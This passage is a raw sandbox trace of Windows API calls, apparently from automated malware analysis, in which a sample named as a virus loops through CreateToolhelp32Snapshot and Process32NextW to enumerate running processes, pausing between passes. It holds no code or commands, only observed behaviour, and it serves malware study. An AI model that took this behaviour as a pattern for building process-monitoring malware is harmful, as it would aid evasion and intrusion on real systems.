th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.991] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0192.992] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.992] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.993] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0192.993] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0192.994] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0192.994] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0192.995] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0192.995] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.995] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0192.996] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0192.996] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0192.996] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x59c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0192.997] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0192.997] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0192.998] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0192.998] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0192.999] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0192.999] CloseHandle (hObject=0x1fc) returned 1 [0192.999] Sleep (dwMilliseconds=0x1f4) [0193.628] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x200 [0193.630] Process32FirstW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0193.631] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0193.631] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0193.631] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0193.632] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0193.632] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0193.632] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0193.633] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0193.633] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0193.633] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0193.634] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0193.634] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0193.634] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0193.635] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0193.635] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0193.635] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0193.636] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0193.636] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0193.637] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0193.637] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0193.638] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0193.638] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0193.638] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0193.639] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0193.640] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0193.640] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0193.640] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0193.641] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x59c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0193.641] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0193.641] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0193.642] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0193.642] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0193.642] Process32NextW (in: hSnapshot=0x200, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0193.643] CloseHandle (hObject=0x200) returned 1 [0193.643] Sleep (dwMilliseconds=0x1f4) [0194.162] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe0 [0194.165] Process32FirstW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0194.165] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0194.166] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0194.166] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0194.167] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0194.167] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0194.167] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0194.168] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0194.168] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0194.169] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0194.169] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.169] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.170] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.170] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.170] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.171] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0194.171] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.172] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.172] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0194.173] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0194.173] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0194.173] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0194.174] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0194.174] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.175] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0194.175] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0194.176] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0194.176] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x59c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0194.176] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0194.177] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0194.178] Process32NextW (in: hSnapshot=0xe0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, 